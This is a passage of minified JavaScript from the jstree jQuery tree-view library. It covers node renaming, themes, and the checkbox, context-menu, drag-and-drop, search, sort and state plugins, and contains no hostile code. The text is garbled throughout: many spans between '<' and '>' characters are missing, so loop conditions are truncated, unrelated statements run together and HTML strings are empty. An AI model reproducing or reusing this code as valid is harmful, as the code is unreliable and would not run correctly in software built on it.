      ').append($.parseHTML(v)).html());if(!nv){this.set_text(obj,t);}this._data.core.focused=tmp.id;setTimeout($.proxy(function(){var node=this.get_node(tmp.id,true);if(node.length){this._data.core.focused=tmp.id;node.children('.jstree-anchor').focus()}},this),0);if(callback){callback.call(this,tmp,nv,cancel)}h2=null},this),"keydown":function(e){var key=e.which;if(key===27){cancel=true;this.value=t}if(key===27||key===13||key===37||key===38||key===39||key===40||key===32){e.stopImmediatePropagation()}if(key===27||key===13){e.preventDefault();this.blur()}},"click":function(e){e.stopImmediatePropagation()},"mousedown":function(e){e.stopImmediatePropagation()},"keyup":function(e){h2.width(Math.min(h1.text("pW"+this.value).width(),w))},"keypress":function(e){if(e.which===13){return false}}});fn={fontFamily:a.css('fontFamily')||'',fontSize:a.css('fontSize')||'',fontWeight:a.css('fontWeight')||'',fontStyle:a.css('fontStyle')||'',fontStretch:a.css('fontStretch')||'',fontVariant:a.css('fontVariant')||'',letterSpacing:a.css('letterSpacing')||'',wordSpacing:a.css('wordSpacing')||''};s.attr('class',a.attr('class')).append(a.contents().clone()).append(h2);a.replaceWith(s);h1.css(fn);h2.css(fn).width(Math.min(h1.text("pW"+h2[0].value).width(),w))[0].select();$(document).one('mousedown.jstree touchstart.jstree dnd_start.vakata',function(e){if(h2&&e.target!==h2){$(h2).blur()}})},set_theme:function(theme_name,theme_url){if(!theme_name){return false}if(theme_url===true){var dir=this.settings.core.themes.dir;if(!dir){dir=$.jstree.path+'/themes'}theme_url=dir+'/'+theme_name+'/style.css'}if(theme_url&&$.inArray(theme_url,themes_loaded)===-1){$('head').append('');themes_loaded.push(theme_url)}if(this._data.core.themes.name){this.element.removeClass('jstree-'+this._data.core.themes.name)}this._data.core.themes.name=theme_name;this.element.addClass('jstree-'+theme_name);this.element[this.settings.core.themes.responsive?'addClass':'removeClass']('jstree-'+theme_name+'-responsive');this.trigger('set_theme',{'theme':theme_name})},get_theme:function(){return this._data.core.themes.name},set_theme_variant:function(variant_name){if(this._data.core.themes.variant){this.element.removeClass('jstree-'+this._data.core.themes.name+'-'+this._data.core.themes.variant)}this._data.core.themes.variant=variant_name;if(variant_name){this.element.addClass('jstree-'+this._data.core.themes.name+'-'+this._data.core.themes.variant)}},get_theme_variant:function(){return this._data.core.themes.variant},show_stripes:function(){this._data.core.themes.stripes=true;this.get_container_ul().addClass("jstree-striped");this.trigger('show_stripes')},hide_stripes:function(){this._data.core.themes.stripes=false;this.get_container_ul().removeClass("jstree-striped");this.trigger('hide_stripes')},toggle_stripes:function(){if(this._data.core.themes.stripes){this.hide_stripes()}else{this.show_stripes()}},show_dots:function(){this._data.core.themes.dots=true;this.get_container_ul().removeClass("jstree-no-dots");this.trigger('show_dots')},hide_dots:function(){this._data.core.themes.dots=false;this.get_container_ul().addClass("jstree-no-dots");this.trigger('hide_dots')},toggle_dots:function(){if(this._data.core.themes.dots){this.hide_dots()}else{this.show_dots()}},show_icons:function(){this._data.core.themes.icons=true;this.get_container_ul().removeClass("jstree-no-icons");this.trigger('show_icons')},hide_icons:function(){this._data.core.themes.icons=false;this.get_container_ul().addClass("jstree-no-icons");this.trigger('hide_icons')},toggle_icons:function(){if(this._data.core.themes.icons){this.hide_icons()}else{this.show_icons()}},show_ellipsis:function(){this._data.core.themes.ellipsis=true;this.get_container_ul().addClass("jstree-ellipsis");this.trigger('show_ellipsis')},hide_ellipsis:function(){this._data.core.themes.ellipsis=false;this.get_container_ul().removeClass("jstree-ellipsis");this.trigger('hide_ellipsis')},toggle_ellipsis:function(){if(this._data.core.themes.ellipsis){this.hide_ellipsis()}else{this.show_ellipsis()}},set_icon:function(obj,icon){var t1,t2,dom,old;if($.isArray(obj)){obj=obj.slice();for(t1=0,t2=obj.length;t1=0&&a.call(b,c[e],+e,c)){d.push(c[e])}}return d};$.jstree.plugins.changed=function(options,parent){var last=[];this.trigger=function(ev,data){var i,j;if(!data){data={}}if(ev.replace('.jstree','')==='changed'){data.changed={selected:[],deselected:[]};var tmp={};for(i=0,j=last.length;i-1){sel[temp[i]]=true}else{delete sel[temp[i]]}}}if(s.indexOf('up')!==-1){while(par&&par.id!==$.jstree.root){c=0;for(i=0,j=par.children.length;i-1})}if(s.indexOf('up')!==-1&&cur.indexOf(obj.id)===-1){for(i=0,j=obj.parents.length;i0&&c===j){p.state[t?'selected':'checked']=true;this._data[t?'core':'checkbox'].selected.push(p.id);tmp=this.get_node(p,true);if(tmp&&tmp.length){tmp.attr('aria-selected',true).children('.jstree-anchor').addClass(t?'jstree-clicked':'jstree-checked')}}else{break}p=this.get_node(p.parent)}},this)).on('move_node.jstree',$.proxy(function(e,data){var is_multi=data.is_multi,old_par=data.old_parent,new_par=this.get_node(data.parent),m=this._model.data,p,c,i,j,tmp,t=this.settings.checkbox.tie_selection;if(!is_multi){p=this.get_node(old_par);while(p&&p.id!==$.jstree.root&&!p.state[t?'selected':'checked']){c=0;for(i=0,j=p.children.length;i0&&c===j){p.state[t?'selected':'checked']=true;this._data[t?'core':'checkbox'].selected.push(p.id);tmp=this.get_node(p,true);if(tmp&&tmp.length){tmp.attr('aria-selected',true).children('.jstree-anchor').addClass(t?'jstree-clicked':'jstree-checked')}}else{break}p=this.get_node(p.parent)}}p=new_par;while(p&&p.id!==$.jstree.root){c=0;for(i=0,j=p.children.length;i-1){selectedChildrenIds.push(childId)}}}var dom=self.get_node(node,true);var undetermined=selectedChildrenIds.length>0&&selectedChildrenIds.length250)){$.vakata.context.hide()}last_ts=0},this)).on("touchstart.jstree",".jstree-anchor",function(e){if(!e.originalEvent||!e.originalEvent.changedTouches||!e.originalEvent.changedTouches[0]){return}ex=e.originalEvent.changedTouches[0].clientX;ey=e.originalEvent.changedTouches[0].clientY;cto=setTimeout(function(){$(e.currentTarget).trigger('contextmenu',true)},750)}).on('touchmove.vakata.jstree',function(e){if(cto&&e.originalEvent&&e.originalEvent.changedTouches&&e.originalEvent.changedTouches[0]&&(Math.abs(ex-e.originalEvent.changedTouches[0].clientX)>10||Math.abs(ey-e.originalEvent.changedTouches[0].clientY)>10)){clearTimeout(cto);$.vakata.context.hide()}}).on('touchend.vakata.jstree',function(e){if(cto){clearTimeout(cto)}});$(document).on("context_hide.vakata.jstree",$.proxy(function(e,data){this._data.contextmenu.visible=false;$(data.reference).removeClass('jstree-context')},this))};this.teardown=function(){if(this._data.contextmenu.visible){$.vakata.context.hide()}parent.teardown.call(this)};this.show_contextmenu=function(obj,x,y,e){obj=this.get_node(obj);if(!obj||obj.id===$.jstree.root){return false}var s=this.settings.contextmenu,d=this.get_node(obj,true),a=d.children(".jstree-anchor"),o=false,i=false;if(s.show_at_node||x===undefined||y===undefined){o=a.offset();x=o.left;y=o.top+this._data.core.li_height}if(this.settings.contextmenu.select_node&&!this.is_selected(obj)){this.activate_node(obj,e)}i=s.items;if($.isFunction(i)){i=i.call(this,obj,$.proxy(function(i){this._show_contextmenu(obj,x,y,i)},this))}if($.isPlainObject(i)){this._show_contextmenu(obj,x,y,i)}};this._show_contextmenu=function(obj,x,y,i){var d=this.get_node(obj,true),a=d.children(".jstree-anchor");$(document).one("ui-button context_show.vakata.jstree",$.proxy(function(e,data){var cls='jstree-contextmenu jstree-'+this.get_theme()+'-contextmenu';$(data.element).addClass(cls);a.addClass('jstree-context')},this));this._data.contextmenu.visible=true;$.vakata.context.show(a,{'x':x,'y':y},i);this.trigger('show_contextmenu',{"node":obj,"x":x,"y":y})}};(function($){var right_to_left=false,vakata_context={element:false,reference:false,position_x:0,position_y:0,items:[],html:"",is_visible:false};$.vakata.context={settings:{hide_onmouseleave:0,icons:true},_trigger:function(event_name){$(document).triggerHandler("context_"+event_name+".vakata",{"reference":vakata_context.reference,"element":vakata_context.element,"position":{"x":vakata_context.position_x,"y":vakata_context.position_y}})},_execute:function(i){i=vakata_context.items[i];return i&&(!i._disabled||($.isFunction(i._disabled)&&!i._disabled({"item":i,"reference":vakata_context.reference,"element":vakata_context.element})))&&i.action?i.action.call(null,{"item":i,"reference":vakata_context.reference,"element":vakata_context.element,"position":{"x":vakata_context.position_x,"y":vakata_context.position_y}}):false},_parse:function(o,is_callback){if(!o){return false}if(!is_callback){vakata_context.html="";vakata_context.items=[]}var str="",sep=false,tmp;if(is_callback){str+=""}if(!is_callback){vakata_context.html=str;$.vakata.context._trigger("parse")}return str.length>10?str:false},_show_submenu:function(o){o=$(o);if(!o.length||!o.children("ul").length){return}var e=o.children("ul"),xl=o.offset().left,x=xl+o.outerWidth(),y=o.offset().top,w=e.width(),h=e.height(),dw=$(window).width()+$(window).scrollLeft(),dh=$(window).height()+$(window).scrollTop();if(right_to_left){o[x-(w+10+o.outerWidth())<0?"addClass":"removeClass"]("vakata-context-left")}else{o[x+w>dw&&xl>dw-x?"addClass":"removeClass"]("vakata-context-right")}if(y+h+10>dh){e.css("bottom","-1px")}if(o.hasClass('vakata-context-right')){if(xldw){x=dw-(w+20)}if(y+h+20>dh){y=dh-(h+20)}vakata_context.element.css({"left":x,"top":y}).show().find('a').first().focus().parent().addClass("vakata-context-hover");vakata_context.is_visible=true;$.vakata.context._trigger("show")}},hide:function(){if(vakata_context.is_visible){vakata_context.element.hide().find("ul").hide().end().find(':focus').blur().end().detach();vakata_context.is_visible=false;$.vakata.context._trigger("hide")}}};$(function(){right_to_left=$(document.body).css("direction")==="rtl";var to=false;vakata_context.element=$("
        ");vakata_context.element.on("mouseenter","li",function(e){e.stopImmediatePropagation();if($.contains(this,e.relatedTarget)){return}if(to){clearTimeout(to)}vakata_context.element.find(".vakata-context-hover").removeClass("vakata-context-hover").end();$(this).siblings().find("ul").hide().end().end().parentsUntil(".vakata-context","li").addBack().addClass("vakata-context-hover");$.vakata.context._show_submenu(this)}).on("mouseleave","li",function(e){if($.contains(this,e.relatedTarget)){return}$(this).find(".vakata-context-hover").addBack().removeClass("vakata-context-hover")}).on("mouseleave",function(e){$(this).find(".vakata-context-hover").removeClass("vakata-context-hover");if($.vakata.context.settings.hide_onmouseleave){to=setTimeout((function(t){return function(){$.vakata.context.hide()}}(this)),$.vakata.context.settings.hide_onmouseleave)}}).on("click","a",function(e){e.preventDefault();if(!$(this).blur().parent().hasClass("vakata-context-disabled")&&$.vakata.context._execute($(this).attr("rel"))!==false){$.vakata.context.hide()}}).on('keydown','a',function(e){var o=null;switch(e.which){case 13:case 32:e.type="click";e.preventDefault();$(e.currentTarget).trigger(e);break;case 37:if(vakata_context.is_visible){vakata_context.element.find(".vakata-context-hover").last().closest("li").first().find("ul").hide().find(".vakata-context-hover").removeClass("vakata-context-hover").end().end().children('a').focus();e.stopImmediatePropagation();e.preventDefault()}break;case 38:if(vakata_context.is_visible){o=vakata_context.element.find("ul:visible").addBack().last().children(".vakata-context-hover").removeClass("vakata-context-hover").prevAll("li:not(.vakata-context-separator)").first();if(!o.length){o=vakata_context.element.find("ul:visible").addBack().last().children("li:not(.vakata-context-separator)").last()}o.addClass("vakata-context-hover").children('a').focus();e.stopImmediatePropagation();e.preventDefault()}break;case 39:if(vakata_context.is_visible){vakata_context.element.find(".vakata-context-hover").last().children("ul").show().children("li:not(.vakata-context-separator)").removeClass("vakata-context-hover").first().addClass("vakata-context-hover").children('a').focus();e.stopImmediatePropagation();e.preventDefault()}break;case 40:if(vakata_context.is_visible){o=vakata_context.element.find("ul:visible").addBack().last().children(".vakata-context-hover").removeClass("vakata-context-hover").nextAll("li:not(.vakata-context-separator)").first();if(!o.length){o=vakata_context.element.find("ul:visible").addBack().last().children("li:not(.vakata-context-separator)").first()}o.addClass("vakata-context-hover").children('a').focus();e.stopImmediatePropagation();e.preventDefault()}break;case 27:$.vakata.context.hide();e.preventDefault();break;default:break}}).on('keydown',function(e){e.preventDefault();var a=vakata_context.element.find('.vakata-contextmenu-shortcut-'+e.which).parent();if(a.parent().not('.vakata-context-disabled')){a.click()}});$(document).on("mousedown.vakata.jstree",function(e){if(vakata_context.is_visible&&vakata_context.element[0]!==e.target&&!$.contains(vakata_context.element[0],e.target)){$.vakata.context.hide()}}).on("context_show.vakata.jstree",function(e,data){vakata_context.element.find("li:has(ul)").children("a").addClass("vakata-context-parent");if(right_to_left){vakata_context.element.addClass("vakata-context-rtl").css("direction","rtl")}vakata_context.element.find("ul").hide().end()})})}($));$.jstree.defaults.dnd={copy:true,open_timeout:500,is_draggable:true,check_while_dragging:true,always_copy:false,inside_pos:0,drag_selection:true,touch:true,large_drop_target:false,large_drag_target:false,use_html5:false};var drg,elm;$.jstree.plugins.dnd=function(options,parent){this.init=function(el,options){parent.init.call(this,el,options);this.settings.dnd.use_html5=this.settings.dnd.use_html5&&('draggable'in document.createElement('span'))};this.bind=function(){parent.bind.call(this);this.element.on(this.settings.dnd.use_html5?'dragstart.jstree':'mousedown.jstree touchstart.jstree',this.settings.dnd.large_drag_target?'.jstree-node':'.jstree-anchor',$.proxy(function(e){if(this.settings.dnd.large_drag_target&&$(e.target).closest('.jstree-node')[0]!==e.currentTarget){return true}if(e.type==="touchstart"&&(!this.settings.dnd.touch||(this.settings.dnd.touch==='selected'&&!$(e.currentTarget).closest('.jstree-node').children('.jstree-anchor').hasClass('jstree-clicked')))){return true}var obj=this.get_node(e.target),mlt=this.is_selected(obj)&&this.settings.dnd.drag_selection?this.get_top_selected().length:1,txt=(mlt>1?mlt+' '+this.get_string('nodes'):this.get_text(e.currentTarget));if(this.settings.core.force_text){txt=$.vakata.html.escape(txt)}if(obj&&obj.id&&obj.id!==$.jstree.root&&(e.which===1||e.type==="touchstart"||e.type==="dragstart")&&(this.settings.dnd.is_draggable===true||($.isFunction(this.settings.dnd.is_draggable)&&this.settings.dnd.is_draggable.call(this,(mlt>1?this.get_top_selected(true):[obj]),e)))){drg={'jstree':true,'origin':this,'obj':this.get_node(obj,true),'nodes':mlt>1?this.get_top_selected():[obj.id]};elm=e.currentTarget;if(this.settings.dnd.use_html5){$.vakata.dnd._trigger('start',e,{'helper':$(),'element':elm,'data':drg})}else{this.element.trigger('mousedown.jstree');return $.vakata.dnd.start(e,drg,'
        '+txt+'
        ')}}},this));if(this.settings.dnd.use_html5){this.element.on('dragover.jstree',function(e){e.preventDefault();$.vakata.dnd._trigger('move',e,{'helper':$(),'element':elm,'data':drg});return false}).on('drop.jstree',$.proxy(function(e){e.preventDefault();$.vakata.dnd._trigger('stop',e,{'helper':$(),'element':elm,'data':drg});return false},this))}};this.redraw_node=function(obj,deep,callback,force_render){obj=parent.redraw_node.apply(this,arguments);if(obj&&this.settings.dnd.use_html5){if(this.settings.dnd.large_drag_target){obj.setAttribute('draggable',true)}else{var i,j,tmp=null;for(i=0,j=obj.childNodes.length;i 
        ').hide();$(document).on('dragover.vakata.jstree',function(e){if(elm){$.vakata.dnd._trigger('move',e,{'helper':$(),'element':elm,'data':drg})}}).on('drop.vakata.jstree',function(e){if(elm){$.vakata.dnd._trigger('stop',e,{'helper':$(),'element':elm,'data':drg});elm=null;drg=null}}).on('dnd_start.vakata.jstree',function(e,data){lastmv=false;lastev=false;if(!data||!data.data||!data.data.jstree){return}marker.appendTo(document.body);}).on('dnd_move.vakata.jstree',function(e,data){var isDifferentNode=data.event.target!==lastev.target;if(opento){if(!data.event||data.event.type!=='dragover'||isDifferentNode){clearTimeout(opento)}}if(!data||!data.data||!data.data.jstree){return}if(data.event.target.id&&data.event.target.id==='jstree-marker'){return}lastev=data.event;var ins=$.jstree.reference(data.event.target),ref=false,off=false,rel=false,tmp,l,t,h,p,i,o,ok,t1,t2,op,ps,pr,ip,tm,is_copy,pn;if(ins&&ins._data&&ins._data.dnd){marker.attr('class','jstree-'+ins.get_theme()+(ins.settings.core.themes.responsive?' jstree-dnd-responsive':''));is_copy=data.data.origin&&(data.data.origin.settings.dnd.always_copy||(data.data.origin.settings.dnd.copy&&(data.event.metaKey||data.event.ctrlKey)));data.helper.children().attr('class','jstree-'+ins.get_theme()+' jstree-'+ins.get_theme()+'-'+ins.get_theme_variant()+' '+(ins.settings.core.themes.responsive?' jstree-dnd-responsive':'')).find('.jstree-copy').first()[is_copy?'show':'hide']();if((data.event.target===ins.element[0]||data.event.target===ins.get_container_ul()[0])&&ins.get_container_ul().children().length===0){ok=true;for(t1=0,t2=data.data.nodes.length;t1h-h/3){o=['a','i','b']}else{o=rel>h/2?['i','a','b']:['i','b','a']}$.each(o,function(j,v){switch(v){case 'b':l=off.left-6;t=off.top;p=ins.get_parent(ref);i=ref.parent().index();break;case 'i':ip=ins.settings.dnd.inside_pos;tm=ins.get_node(ref.parent());l=off.left-2;t=off.top+h/2+1;p=tm.id;i=ip==='first'?0:(ip==='last'?tm.children.length:Math.min(ip,tm.children.length));break;case 'a':l=off.left-6;t=off.top+h;p=ins.get_parent(ref);i=ref.parent().index()+1;break}ok=true;for(t1=0,t2=data.data.nodes.length;t1$.inArray(data.data.nodes[t1],pr.children)){ps-=1}}ok=ok&&((ins&&ins.settings&&ins.settings.dnd&&ins.settings.dnd.check_while_dragging===false)||ins.check(op,(data.data.origin&&data.data.origin!==ins?data.data.origin.get_node(data.data.nodes[t1]):data.data.nodes[t1]),p,ps,{'dnd':true,'ref':ins.get_node(ref.parent()),'pos':v,'origin':data.data.origin,'is_multi':(data.data.origin&&data.data.origin!==ins),'is_foreign':(!data.data.origin)}));if(!ok){if(ins&&ins.last_error){laster=ins.last_error()}break}}if(v==='i'&&ref.parent().is('.jstree-closed')&&ins.settings.dnd.open_timeout){if(!data.event||data.event.type!=='dragover'||isDifferentNode){if(opento){clearTimeout(opento)}opento=setTimeout((function(x,z){return function(){x.open_node(z)}}(ins,ref)),ins.settings.dnd.open_timeout)}}if(ok){pn=ins.get_node(p,true);if(!pn.hasClass('.jstree-dnd-parent')){$('.jstree-dnd-parent').removeClass('jstree-dnd-parent');pn.addClass('jstree-dnd-parent')}lastmv={'ins':ins,'par':p,'pos':v==='i'&&ip==='last'&&i===0&&!ins.is_loaded(tm)?'last':i};marker.css({'left':l+'px','top':t+'px'}).show();data.helper.find('.jstree-icon').first().removeClass('jstree-er').addClass('jstree-ok');if(data.event.originalEvent&&data.event.originalEvent.dataTransfer){data.event.originalEvent.dataTransfer.dropEffect=is_copy?'copy':'move'}laster={};o=true;return false}});if(o===true){return}}}}$('.jstree-dnd-parent').removeClass('jstree-dnd-parent');lastmv=false;data.helper.find('.jstree-icon').removeClass('jstree-ok').addClass('jstree-er');if(data.event.originalEvent&&data.event.originalEvent.dataTransfer){}marker.hide()}).on('dnd_scroll.vakata.jstree',function(e,data){if(!data||!data.data||!data.data.jstree){return}marker.hide();lastmv=false;lastev=false;data.helper.find('.jstree-icon').first().removeClass('jstree-ok').addClass('jstree-er')}).on('dnd_stop.vakata.jstree',function(e,data){$('.jstree-dnd-parent').removeClass('jstree-dnd-parent');if(opento){clearTimeout(opento)}if(!data||!data.data||!data.data.jstree){return}marker.hide().detach();var i,j,nodes=[];if(lastmv){for(i=0,j=data.data.nodes.length;i'),escape:function(str){return $.vakata.html.div.text(str).html()},strip:function(str){return $.vakata.html.div.empty().append($.parseHTML(str)).text()}};var vakata_dnd={element:false,target:false,is_down:false,is_drag:false,helper:false,helper_w:0,data:false,init_x:0,init_y:0,scroll_l:0,scroll_t:0,scroll_e:false,scroll_i:false,is_touch:false};$.vakata.dnd={settings:{scroll_speed:10,scroll_proximity:20,helper_left:5,helper_top:10,threshold:5,threshold_touch:10},_trigger:function(event_name,e,data){if(data===undefined){data=$.vakata.dnd._get()}data.event=e;$(document).triggerHandler("dnd_"+event_name+".vakata",data)},_get:function(){return{"data":vakata_dnd.data,"element":vakata_dnd.element,"helper":vakata_dnd.helper}},_clean:function(){if(vakata_dnd.helper){vakata_dnd.helper.remove()}if(vakata_dnd.scroll_i){clearInterval(vakata_dnd.scroll_i);vakata_dnd.scroll_i=false}vakata_dnd={element:false,target:false,is_down:false,is_drag:false,helper:false,helper_w:0,data:false,init_x:0,init_y:0,scroll_l:0,scroll_t:0,scroll_e:false,scroll_i:false,is_touch:false};$(document).off("mousemove.vakata.jstree touchmove.vakata.jstree",$.vakata.dnd.drag);$(document).off("mouseup.vakata.jstree touchend.vakata.jstree",$.vakata.dnd.stop)},_scroll:function(init_only){if(!vakata_dnd.scroll_e||(!vakata_dnd.scroll_l&&!vakata_dnd.scroll_t)){if(vakata_dnd.scroll_i){clearInterval(vakata_dnd.scroll_i);vakata_dnd.scroll_i=false}return false}if(!vakata_dnd.scroll_i){vakata_dnd.scroll_i=setInterval($.vakata.dnd._scroll,100);return false}if(init_only===true){return false}var i=vakata_dnd.scroll_e.scrollTop(),j=vakata_dnd.scroll_e.scrollLeft();vakata_dnd.scroll_e.scrollTop(i+vakata_dnd.scroll_t*$.vakata.dnd.settings.scroll_speed);vakata_dnd.scroll_e.scrollLeft(j+vakata_dnd.scroll_l*$.vakata.dnd.settings.scroll_speed);if(i!==vakata_dnd.scroll_e.scrollTop()||j!==vakata_dnd.scroll_e.scrollLeft()){$.vakata.dnd._trigger("scroll",vakata_dnd.scroll_e)}},start:function(e,data,html){if(e.type==="touchstart"&&e.originalEvent&&e.originalEvent.changedTouches&&e.originalEvent.changedTouches[0]){e.pageX=e.originalEvent.changedTouches[0].pageX;e.pageY=e.originalEvent.changedTouches[0].pageY;e.target=document.elementFromPoint(e.originalEvent.changedTouches[0].pageX-window.pageXOffset,e.originalEvent.changedTouches[0].pageY-window.pageYOffset)}if(vakata_dnd.is_drag){$.vakata.dnd.stop({})}try{e.currentTarget.unselectable="on";e.currentTarget.onselectstart=function(){return false};if(e.currentTarget.style){e.currentTarget.style.touchAction="none";e.currentTarget.style.msTouchAction="none";e.currentTarget.style.MozUserSelect="none"}}catch(ignore){}vakata_dnd.init_x=e.pageX;vakata_dnd.init_y=e.pageY;vakata_dnd.data=data;vakata_dnd.is_down=true;vakata_dnd.element=e.currentTarget;vakata_dnd.target=e.target;vakata_dnd.is_touch=e.type==="touchstart";if(html!==false){vakata_dnd.helper=$("
        ").html(html).css({"display":"block","margin":"0","padding":"0","position":"absolute","top":"-2000px","lineHeight":"16px","zIndex":"10000"})}$(document).on("mousemove.vakata.jstree touchmove.vakata.jstree",$.vakata.dnd.drag);$(document).on("mouseup.vakata.jstree touchend.vakata.jstree",$.vakata.dnd.stop);return false},drag:function(e){if(e.type==="touchmove"&&e.originalEvent&&e.originalEvent.changedTouches&&e.originalEvent.changedTouches[0]){e.pageX=e.originalEvent.changedTouches[0].pageX;e.pageY=e.originalEvent.changedTouches[0].pageY;e.target=document.elementFromPoint(e.originalEvent.changedTouches[0].pageX-window.pageXOffset,e.originalEvent.changedTouches[0].pageY-window.pageYOffset)}if(!vakata_dnd.is_down){return}if(!vakata_dnd.is_drag){if(Math.abs(e.pageX-vakata_dnd.init_x)>(vakata_dnd.is_touch?$.vakata.dnd.settings.threshold_touch:$.vakata.dnd.settings.threshold)||Math.abs(e.pageY-vakata_dnd.init_y)>(vakata_dnd.is_touch?$.vakata.dnd.settings.threshold_touch:$.vakata.dnd.settings.threshold)){if(vakata_dnd.helper){vakata_dnd.helper.appendTo(document.body);vakata_dnd.helper_w=vakata_dnd.helper.outerWidth()}vakata_dnd.is_drag=true;$(vakata_dnd.target).one('click.vakata',false);$.vakata.dnd._trigger("start",e)}else{return}}var d=false,w=false,dh=false,wh=false,dw=false,ww=false,dt=false,dl=false,ht=false,hl=false;vakata_dnd.scroll_t=0;vakata_dnd.scroll_l=0;vakata_dnd.scroll_e=false;$($(e.target).parentsUntil("body").addBack().get().reverse()).filter(function(){return(/^auto|scroll$/).test($(this).css("overflow"))&&(this.scrollHeight>this.offsetHeight||this.scrollWidth>this.offsetWidth)}).each(function(){var t=$(this),o=t.offset();if(this.scrollHeight>this.offsetHeight){if(o.top+t.height()-e.pageY<$.vakata.dnd.settings.scroll_proximity){vakata_dnd.scroll_t=1}if(e.pageY-o.top<$.vakata.dnd.settings.scroll_proximity){vakata_dnd.scroll_t=-1}}if(this.scrollWidth>this.offsetWidth){if(o.left+t.width()-e.pageX<$.vakata.dnd.settings.scroll_proximity){vakata_dnd.scroll_l=1}if(e.pageX-o.left<$.vakata.dnd.settings.scroll_proximity){vakata_dnd.scroll_l=-1}}if(vakata_dnd.scroll_t||vakata_dnd.scroll_l){vakata_dnd.scroll_e=$(this);return false}});if(!vakata_dnd.scroll_e){d=$(document);w=$(window);dh=d.height();wh=w.height();dw=d.width();ww=w.width();dt=d.scrollTop();dl=d.scrollLeft();if(dh>wh&&e.pageY-dt<$.vakata.dnd.settings.scroll_proximity){vakata_dnd.scroll_t=-1}if(dh>wh&&wh-(e.pageY-dt)<$.vakata.dnd.settings.scroll_proximity){vakata_dnd.scroll_t=1}if(dw>ww&&e.pageX-dl<$.vakata.dnd.settings.scroll_proximity){vakata_dnd.scroll_l=-1}if(dw>ww&&ww-(e.pageX-dl)<$.vakata.dnd.settings.scroll_proximity){vakata_dnd.scroll_l=1}if(vakata_dnd.scroll_t||vakata_dnd.scroll_l){vakata_dnd.scroll_e=d}}if(vakata_dnd.scroll_e){$.vakata.dnd._scroll(true)}if(vakata_dnd.helper){ht=parseInt(e.pageY+$.vakata.dnd.settings.helper_top,10);hl=parseInt(e.pageX+$.vakata.dnd.settings.helper_left,10);if(dh&&ht+25>dh){ht=dh-50}if(dw&&hl+vakata_dnd.helper_w>dw){hl=dw-(vakata_dnd.helper_w+2)}vakata_dnd.helper.css({left:hl+"px",top:ht+"px"})}$.vakata.dnd._trigger("move",e);return false},stop:function(e){if(e.type==="touchend"&&e.originalEvent&&e.originalEvent.changedTouches&&e.originalEvent.changedTouches[0]){e.pageX=e.originalEvent.changedTouches[0].pageX;e.pageY=e.originalEvent.changedTouches[0].pageY;e.target=document.elementFromPoint(e.originalEvent.changedTouches[0].pageX-window.pageXOffset,e.originalEvent.changedTouches[0].pageY-window.pageYOffset)}if(vakata_dnd.is_drag){if(e.target!==vakata_dnd.target){$(vakata_dnd.target).off('click.vakata')}$.vakata.dnd._trigger("stop",e)}else{if(e.type==="touchend"&&e.target===vakata_dnd.target){var to=setTimeout(function(){$(e.target).click()},100);$(e.target).one('click',function(){if(to){clearTimeout(to)}})}}$.vakata.dnd._clean();return false}}}($));$.jstree.defaults.massload=null;$.jstree.plugins.massload=function(options,parent){this.init=function(el,options){this._data.massload={};parent.init.call(this,el,options)};this._load_nodes=function(nodes,callback,is_callback,force_reload){var s=this.settings.massload,nodesString=JSON.stringify(nodes),toLoad=[],m=this._model.data,i,j,dom;if(!is_callback){for(i=0,j=nodes.length;i32){options.fuzzy=false}if(options.fuzzy){matchmask=1<<(patternLen-1);pattern_alphabet=(function(){var mask={},i=0;for(i=0;i=start;j-=1){charMatch=pattern_alphabet[text.charAt(j-1)];if(i===0){rd[j]=((rd[j+1]<<1)|1)&charMatch}else{rd[j]=((rd[j+1]<<1)|1)&charMatch|(((lastRd[j+1]|lastRd[j])<<1)|1)|lastRd[j+1]}if(rd[j]&matchmask){score=match_bitapScore(i,j-1);if(score<=scoreThreshold){scoreThreshold=score;bestLoc=j-1;locations.push(bestLoc);if(bestLoc>MATCH_LOCATION){start=Math.max(1,2*MATCH_LOCATION-bestLoc)}else{break}}}}if(match_bitapScore(i+1,MATCH_LOCATION)>scoreThreshold){break}lastRd=rd}return{isMatch:bestLoc>=0,score:score}};return txt===true?{'search':search}:search(txt)};$.vakata.search.defaults={location:0,distance:100,threshold:0.6,fuzzy:false,caseSensitive:false}}($));$.jstree.defaults.sort=function(a,b){return this.get_text(a)>this.get_text(b)?1:-1};$.jstree.plugins.sort=function(options,parent){this.bind=function(){parent.bind.call(this);this.element.on("model.jstree",$.proxy(function(e,data){this.sort(data.parent,true)},this)).on("rename_node.jstree create_node.jstree",$.proxy(function(e,data){this.sort(data.parent||data.node.parent,false);this.redraw_node(data.parent||data.node.parent,true)},this)).on("move_node.jstree copy_node.jstree",$.proxy(function(e,data){this.sort(data.parent,false);this.redraw_node(data.parent,true)},this))};this.sort=function(obj,deep){var i,j;obj=this.get_node(obj);if(obj&&obj.children&&obj.children.length){obj.children.sort($.proxy(this.settings.sort,this));if(deep){for(i=0,j=obj.children_d.length;ik.ttl){return false}if(!!k&&k.state){k=k.state}if(!!k&&$.isFunction(this.settings.state.filter)){k=this.settings.state.filter.call(this,k)}if(!!k){if(!this.settings.state.preserve_loaded){delete k.core.loaded}this.element.one("set_state.jstree",function(e,data){data.instance.trigger('restore_state',{'state':$.extend(true,{},k)})});this.set_state(k);return true}return false};this.clear_state=function(){return $.vakata.storage.del(this.settings.state.key)}};(function($,undefined){$.vakata.storage={set:function(key,val){return window.localStorage.setItem(key,val)},get:function(key){return window.localStorage.getItem(key)},del:function(key){return window.localStorage.removeItem(key)}}}($));$.jstree.defaults.types={'default':{}};$.jstree.defaults.types[$.jstree.root]={};$.jstree.plugins.types=function(options,parent){this.init=function(el,options){var i,j;if(options&&options.types&&options.types['default']){for(i in options.types){if(i!=="default"&&i!==$.jstree.root&&options.types.hasOwnProperty(i)){for(j in options.types['default']){if(options.types['default'].hasOwnProperty(j)&&options.types[i][j]===undefined){options.types[i][j]=options.types['default'][j]}}}}}parent.init.call(this,el,options);this._model.data[$.jstree.root].type=$.jstree.root};this.refresh=function(skip_loading,forget_state){parent.refresh.call(this,skip_loading,forget_state);this._model.data[$.jstree.root].type=$.jstree.root};this.bind=function(){this.element.on('model.jstree',$.proxy(function(e,data){var m=this._model.data,dpc=data.nodes,t=this.settings.types,i,j,c='default',k;for(i=0,j=dpc.length;i .jstree-ocl",$.proxy(function(e){e.stopImmediatePropagation();var tmp=$.Event('click',{metaKey:e.metaKey,ctrlKey:e.ctrlKey,altKey:e.altKey,shiftKey:e.shiftKey});$(e.currentTarget).closest(".jstree-node").children(".jstree-anchor").first().trigger(tmp).focus()},this)).on("mouseover.jstree",".jstree-wholerow, 